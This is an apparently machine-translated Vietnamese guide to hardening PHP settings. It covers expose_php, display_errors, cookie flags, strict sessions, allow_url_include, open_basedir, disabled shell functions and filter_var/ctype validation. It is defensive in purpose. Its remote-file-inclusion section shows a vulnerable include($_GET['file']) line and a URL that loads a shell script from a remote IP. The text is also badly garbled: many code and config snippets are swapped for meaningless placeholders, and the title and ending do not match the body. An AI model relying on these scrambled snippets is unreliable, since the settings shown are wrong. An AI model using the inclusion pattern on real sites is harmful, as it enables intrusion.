Có thể sử dụng php để xác thực không?

Phương pháp bảo mật tốt nhất khi nói đến phần mềm là đảm bảo phần mềm luôn cập nhật các bản vá bảo mật mới nhất và chạy phiên bản ổn định mới nhất được hỗ trợ. Trong trường hợp của PHP, bạn cũng nên đảm bảo rằng bạn đang chạy phiên bản máy chủ mới nhất (ví dụ: Apache) và bạn nên thường xuyên kiểm tra và vá lỗi cho hệ điều hành của mình (ví dụ: Linux hoặc Windows)

Đôi khi những kẻ tấn công không chỉ tận dụng các lỗi trong bảo mật ứng dụng PHP mà còn cả các cấu hình dự án PHP hoặc PHP không an toàn. Cấu hình xấu có thể giúp người dùng độc hại dễ dàng thực hiện các cuộc tấn công như SQL Injection (SQLi), Cross-site Scripting (XSS) hoặc Cross-site Request Forgery (CSRF)

Ghi chú. Trước khi thay đổi cấu hình phía máy chủ, hãy đảm bảo rằng các trang web của bạn không dựa vào chức năng mà bạn sắp thay đổi vì điều này có thể dẫn đến việc ứng dụng web của bạn bị hỏng

Tiếp xúc với phiên bản PHP

Không bao giờ để lộ phiên bản của bất kỳ phần mềm nào được cài đặt. Đây là điều đầu tiên mà những kẻ tấn công tìm kiếm trong quá trình trinh sát (thu thập thông tin). Sau đó, họ cố gắng tìm các lỗ hổng dành riêng cho từng phiên bản để khai thác

Theo mặc định, phiên bản PHP được hiển thị trong tiêu đề display_errors = Off0

Nó có thể bị vô hiệu hóa bằng cách thay đổi chỉ thị display_errors = Off1 trong php. ini để Tắt

expose_php = Off

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Mặc dù điều này cải thiện tính bảo mật tổng thể của hệ thống, nhưng nó không ngăn được những kẻ tấn công khai thác bất kỳ lỗ hổng nào

Hiển thị tên tập lệnh

Theo mặc định, PHP thêm tiêu đề display_errors = Off2 vào email được gửi bằng hàm display_errors = Off3. Giá trị của tiêu đề này bao gồm ID người dùng và tên tệp của tập lệnh PHP mà email được gửi từ đó

Điều này có thể làm lộ tên tệp, sau đó có thể bị kẻ tấn công nhắm mục tiêu. Bạn có thể tắt tiêu đề này bằng cách thay đổi chỉ thị display_errors = Off4 trong tệp php. ini để Tắt

mail.add_x_header = Off

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Báo cáo lỗi

Báo cáo lỗi giúp các nhà phát triển phần mềm gỡ lỗi và kiểm tra chức năng của hệ thống. Nó cung cấp thông tin bổ sung khi xảy ra lỗi trong quá trình thực thi mã. Người dùng cuối sẽ không bao giờ thấy những lỗi này vì những lý do sau

  • Khi người dùng nhìn thấy thông báo lỗi, nó làm giảm trải nghiệm người dùng của họ. Người dùng không hiểu lỗi thời gian chạy nghĩa là gì và họ không thể sửa nó. Nếu họ gặp lỗi, điều đó có thể có nghĩa là hành động của họ chưa được xử lý. Điều này làm cho ứng dụng không sử dụng được. Nó cũng cho thấy sự thiếu nhận thức về bảo mật của nhà phát triển
  • Lỗi có thể làm lộ thông tin nhạy cảm về cấu hình máy chủ cơ bản hoặc mã ứng dụng, ví dụ: thông tin về các tiện ích mở rộng như mysqli hoặc PDO

Ví dụ: đây là một lỗi phổ biến cho biết lỗ hổng trước cuộc tấn công SQL Injection

Mã lỗi này hiển thị tên người dùng cơ sở dữ liệu MySQL, phương thức kết nối cơ sở dữ liệu (phần mở rộng mysqli) và đường dẫn đến tập lệnh đã thực thi

Các trang có lỗi cũng có thể được lập chỉ mục bởi các công cụ tìm kiếm. Những kẻ tấn công sử dụng các từ khóa cụ thể để tìm các trang như vậy và khai thác chúng

Các nhà phát triển thường quên tắt chế độ sửa lỗi khi họ chuyển ứng dụng sang máy chủ trực tiếp. Trong môi trường sản xuất, phải luôn tắt báo cáo lỗi. Các nhà phát triển phải luôn đảm bảo rằng mã của họ bắt lỗi/ngoại lệ và không trực tiếp hiển thị kết quả của một thao tác cho người dùng

Báo cáo lỗi có thể bị vô hiệu hóa bằng cách thay đổi chỉ thị display_errors = Off5 trong php. ini để Tắt

display_errors = Off

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Nếu display_errors = Off5 được đặt thành Tắt, phản hồi sẽ trở thành

Bạn vẫn nhận được thông báo lỗi vì mã PHP này kiểm tra xem kết nối với cơ sở dữ liệu có thành công hay không. Nếu không, nó sẽ hiển thị thông tin về lỗi

if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }

Nếu bạn muốn ẩn thông báo lỗi cơ sở dữ liệu, bạn cần xóa display_errors = Off7 khỏi chuỗi đầu ra

if ($conn->connect_error) { die("Connection failed"); }

Bây giờ lỗi trở thành

Cookie phiên

Cờ httponly

Cờ display_errors = Off8 ngăn JavaScript phía máy khách truy cập các giá trị cookie. Nó thường được sử dụng để giảm thiểu Cross-site Scripting (XSS). Ví dụ: nếu một ứng dụng web dễ bị tấn công XSS thì tải trọng sẽ không thể đánh cắp các cookie được gắn cờ là display_errors = Off8. Điều này đặc biệt hữu ích cho cookie phiên

Không có cờ

JavaScript có thể truy cập cookie phiên

Bạn có thể đặt cờ này khi tạo bất kỳ cookie nào trong PHP. Bạn cũng có thể thực thi nó bằng cách sử dụng cấu hình PHP (hoặc. htaccess) cho cookie phiên PHP. Để thực hiện việc này, hãy đặt if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 0 thành Bật trong php. tập tin cấu hình ini

session.cookie_httponly = On

Ghi chú. Lệnh này chỉ thêm cờ display_errors = Off8 vào cookie phiên PHP, không phải tất cả cookie. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Nếu cờ bật, JavaScript không thể truy cập cookie phiên

Lá cờ an toàn

Cờ if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 2 đảm bảo rằng cookie phiên PHP chỉ được gửi qua kết nối được mã hóa (HTTPS). Điều này bảo vệ cookie phiên khỏi các cuộc tấn công trung gian (MITM). Nếu ứng dụng web của bạn sử dụng HTTPS, bạn nên bật tùy chọn này. Để thực hiện việc này, hãy thay đổi if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 3 thành Bật trong php. tập tin cấu hình ini

session.cookie_secure = On

Ghi chú. Lệnh này chỉ thêm cờ if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 2 vào cookie phiên PHP, không phải tất cả cookie. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Cố định phiên

Máy chủ tạo các phiên để theo dõi người dùng và lưu thông tin về họ. Cố định phiên có nghĩa là người dùng có thể đặt phiên theo cách thủ công bằng cách gửi yêu cầu đến máy chủ với ID phiên mà họ muốn tạo. Kẻ tấn công có thể sử dụng điều này để lừa người dùng sử dụng ID phiên cụ thể và sau đó truy cập vào dữ liệu/tài khoản/thông tin của họ. Bạn có thể giảm thiểu một phần nếu bạn đặt lệnh if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 5 thành Bật trong php. tập tin cấu hình ini

session.use_strict_mode = On

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Bao gồm tập tin từ xa

Chỉ thị allow_url_include và allow_url_fopen

Chỉ thị if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 6 và if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 7 cho phép PHP tải tệp lên từ máy chủ từ xa và coi chúng là tệp cục bộ. Nếu bạn sử dụng các hàm if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 8, if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 9 hoặc if ($conn->connect_error) { die("Connection failed"); } 0 trong tập lệnh một cách không an toàn, thì kẻ tấn công có thể lợi dụng điều này và bao gồm mã độc bằng cách sử dụng tệp tải lên từ máy chủ từ xa (lỗ hổng này được gọi là bao gồm tệp từ xa). Nếu kẻ tấn công có thể chèn mã vào một tệp, thay vì tải lên/lưu trữ trình bao cửa hậu PHP trên máy chủ mục tiêu, họ có thể chỉ viết một dòng mã và bao gồm trình bao đó từ xa

Trong ví dụ này, kẻ tấn công có quyền truy cập vào bản cài đặt WordPress đã bật chỉnh sửa tệp (được bật theo mặc định). Nếu các lệnh này được bật trên máy chủ (chúng được bật theo mặc định), chúng có thể chèn mã sau và tải một cửa hậu từ xa

include($_GET['file']);

Sau đó, kẻ tấn công chuyển liên kết tới tập lệnh shell (shell. txt chứa uname -a)

//acunetix.php.example/remote.php?file=//192.168.2.100/shell.txt

Bạn có thể tắt các lệnh này trong php. tập tin cấu hình ini

mail.add_x_header = Off0

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Truyền tải thư mục

Sử dụng truyền tải thư mục, kẻ tấn công có thể truy cập các tệp nằm bên ngoài thư mục documentroot. Có một số cách để hạn chế các tập lệnh PHP truy cập các tệp bên ngoài thư mục documentroot. Một trong số đó là đặt chỉ thị if ($conn->connect_error) { die("Connection failed"); } 1 trong php. ban đầu. Theo mặc định, lệnh này trống. Điều này cho phép tập lệnh duyệt các tệp ở bất kỳ đâu trong hệ thống tệp miễn là người dùng có quyền truy cập vào chúng

Đây là ảnh hưởng của cấu hình mặc định nếu các yêu cầu đối với hàm if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } 8 không được xác thực

Bạn có thể giới hạn việc đưa tệp vào thư mục gốc bằng cách thay đổi chỉ thị if ($conn->connect_error) { die("Connection failed"); } 1 trong tệp php. tập tin cấu hình ini

mail.add_x_header = Off1

Bạn có thể chỉ định nhiều thư mục bằng cách sử dụng dấu hai chấm làm dấu phân cách

mail.add_x_header = Off2

Ghi chú. Đặt thư mục theo thiết lập của bạn. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Với thiết lập ở trên, PHP chỉ có thể truy cập các tệp trong /var/www/html/

Nếu bạn đặt if ($conn->connect_error) { die("Connection failed"); } 1, bạn cũng phải đặt chỉ thị if ($conn->connect_error) { die("Connection failed"); } 5 thành một thư mục mà người dùng web có thể ghi và nằm trong cây thư mục documentroot. Theo mặc định, PHP sử dụng /tmp/, trong trường hợp này sẽ không hoạt động

mail.add_x_header = Off3

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Cảnh báo. Trước tiên hãy kiểm tra cài đặt này trong môi trường dàn dựng. Nó có thể phá vỡ chức năng của bạn tùy thuộc vào cấu hình ứng dụng web của bạn

Lệnh Shell

Như đã trình bày trong phần thứ hai của loạt bài này, rất nguy hiểm khi kích hoạt các hàm shell. Nếu bạn tắt các chức năng này, bạn có thể đảm bảo rằng bất kỳ cửa hậu nào sử dụng các chức năng này đều không hoạt động. Để tắt chúng, trước tiên hãy đảm bảo rằng không có tập lệnh nào sử dụng chúng. Sau đó, giới thiệu các thay đổi sau đối với php. tập tin cấu hình ini

mail.add_x_header = Off4

Ghi chú. Để thay đổi này có hiệu lực, bạn cần khởi động lại máy chủ web hoặc tải lại cấu hình

Xác thực đầu vào của người dùng

Xác thực là quá trình kiểm tra dữ liệu theo các tiêu chí cụ thể. Sau đây là một số bộ lọc phổ biến được sử dụng để xác thực trong các tệp PHP

Trong quá trình xác thực, dữ liệu không bị thay đổi theo bất kỳ cách nào. Điều này có nghĩa là không bộ lọc nào trong số này loại bỏ các ký tự không hợp lệ. Tuy nhiên, nó rất hữu ích vì nó cho phép PHP chỉ xử lý dữ liệu hợp lệ

Ghi chú. Trong một số trường hợp, các bộ lọc này có thể không đủ và cần có chức năng bổ sung

Hàm filter_var()

Các bộ lọc xác thực và khử trùng thường sử dụng hàm if ($conn->connect_error) { die("Connection failed"); } 6. Hàm này chấp nhận tối đa 3 tham số ở định dạng sau

mail.add_x_header = Off5
  • Biến đổi. Biến để lọc (ví dụ: $username)
  • lọc. ID của bộ lọc sẽ được sử dụng (tùy chọn)
  • tùy chọn = Cờ cụ thể cho bộ lọc đã chọn (tùy chọn)

Ghi chú. Nếu bạn không cung cấp bộ lọc, quá trình xác thực luôn trả về true

Để biết thêm thông tin về chức năng này, hãy xem hướng dẫn sử dụng PHP

Bộ lọc FILTER_VALIDATE_EMAIL

Bộ lọc này kiểm tra xem giá trị có phải là địa chỉ email hợp lệ theo RFC 822 không. Nhận xét, gấp khoảng trắng và tên miền không có dấu chấm không được hỗ trợ

tùy chọn được hỗ trợ

  • FILTER_FLAG_EMAIL_UNICODE. Cho phép sử dụng các ký tự Unicode trong phần máy chủ của địa chỉ email (có sẵn kể từ PHP 7. 1. 0)

Thí dụ

mail.add_x_header = Off6

Kết quả sẽ không hợp lệ vì if ($conn->connect_error) { die("Connection failed"); } 7 chứa ký tự Hy Lạp α

Bộ lọc FILTER_VALIDATE_IP

Bộ lọc này kiểm tra xem giá trị có phải là địa chỉ IPV4/6 hợp lệ không

tùy chọn được hỗ trợ

  • FILTER_FLAG_IPV4. Kiểm tra xem giá trị có phải là địa chỉ IPV4 hợp lệ không
  • FILTER_FLAG_IPV6. Kiểm tra xem giá trị có phải là địa chỉ IPV6 hợp lệ không
  • FILTER_FLAG_NO_PRIV_RANGE. Kiểm tra xem giá trị có thuộc phạm vi IPV4 riêng tư sau không. 10. 0. 0. 0/8, 172. 16. 0. 0/12 và 192. 168. 0. 0/16;
  • FILTER_FLAG_NO_RES_RANGE. Kiểm tra xem giá trị có thuộc phạm vi IPV4 riêng tư sau không. 0. 0. 0. 0/8, 169. 254. 0. 0/16, 127. 0. 0. 0/8 và 240. 0. 0. 0/4; . . 1/128,. /128,. ffff. 0. 0/96 và fe80. /10

Thí dụ

mail.add_x_header = Off7

Nếu không có cờ nào được xác định, theo mặc định, nó sẽ kiểm tra tính hợp lệ của cả địa chỉ IPV4 và IPV6

Bộ lọc FILTER_VALIDATE_URL

Bộ lọc này kiểm tra xem giá trị có phải là URL hợp lệ theo RFC 2396 không

tùy chọn được hỗ trợ

  • FILTER_FLAG_SCHEME_REQUIRED. Kiểm tra xem URL có lược đồ được chỉ định hay không (ví dụ: http, https, ftp)
  • FILTER_FLAG_HOST_REQUIRED. Kiểm tra xem URL có máy chủ được chỉ định hay không (ví dụ: www. thí dụ. com)
  • FILTER_FLAG_PATH_REQUIRED. Kiểm tra xem URL có đường dẫn được chỉ định hay không (ví dụ: www. thí dụ. com/đường dẫn/tệp. php)
  • FILTER_FLAG_QUERY_REQUIRED. Kiểm tra xem URL có truy vấn được chỉ định hay không (ví dụ: www. thí dụ. com/?id=1)

Thí dụ

mail.add_x_header = Off8

Warning: Internationalized domain names will fail to validate (those that contain non-ASCII characters). Also, beware, the following is a perfectly valid URL: //www.example.com/index.php?i=alert(5);.

Để biết danh sách đầy đủ các bộ lọc được hỗ trợ, hãy xem tài liệu PHP

Phần mở rộng ctype

Tiện ích mở rộng ctype cung cấp các chức năng có thể được sử dụng để xác thực dữ liệu

  • Hàm trả về true hoặc false
  • Trong một số chức năng, ký tự khoảng trắng có thể khiến chuỗi không hợp lệ. Xóa khoảng trắng trước khi xác thực
  • Các hàm chỉ chấp nhận một chuỗi hoặc một số nguyên. Bất cứ điều gì khác trả về false

Chức năngMô tảif ($conn->connect_error) { die("Connection failed"); } 8Kiểm tra các ký tự chữ và số (a–z, A–Z, 0–9)if ($conn->connect_error) { die("Connection failed"); } 9Kiểm tra các ký tự chữ cái (a–z, A–Z)session.cookie_httponly = On0Kiểm tra các ký tự điều khiển (\n, \r, \t)session.cookie_httponly = On1Kiểm tra các ký tự số (0

Thí dụ

mail.add_x_header = Off9

Kết quả. Chuỗi pAssw0rd chỉ chứa các ký tự chữ và số. Chuỗi p4a$$word không chỉ chứa các ký tự chữ và số

Làm cách nào để đặt xác thực biểu mẫu trong PHP?

$_SERVER["PHP_SELF"] exploits can be avoided by using the htmlspecialchars() function. The form code should look like this:

Chủ đề